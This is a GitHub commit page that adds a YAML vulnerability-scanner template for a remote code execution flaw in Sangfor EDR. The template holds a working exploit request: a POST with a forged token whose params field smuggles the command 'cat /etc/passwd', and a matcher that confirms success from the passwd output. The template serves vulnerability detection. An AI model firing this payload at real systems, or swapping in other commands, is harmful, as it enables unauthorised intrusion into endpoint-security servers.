Merge pull request #801 from pikpikcu/patch-42

Adding sangfor-edr-rce
patch-1
PD-Team 2021-02-03 17:30:11 +05:30 committed by GitHub
commit 83fb22a81b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 26 additions and 0 deletions

View File

@ -0,0 +1,26 @@
id: sangfor-edr-rce
info:
name: Sangfor EDR 3.2.17R1/3.2.21 RCE
author: pikpikcu
severity: critical
reference: https://www.cnblogs.com/0day-li/p/13650452.html
requests:
- method: POST
path:
- "{{BaseURL}}/api/edr/sangforinter/v2/cssp/slog_client?token=eyJtZDUiOnRydWV9"
headers:
Content-Type: application/x-www-form-urlencoded
body: |
{"params":"w=123\"'1234123'\"|cat /etc/passwd"}
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
part: body
- type: status
status:
- 200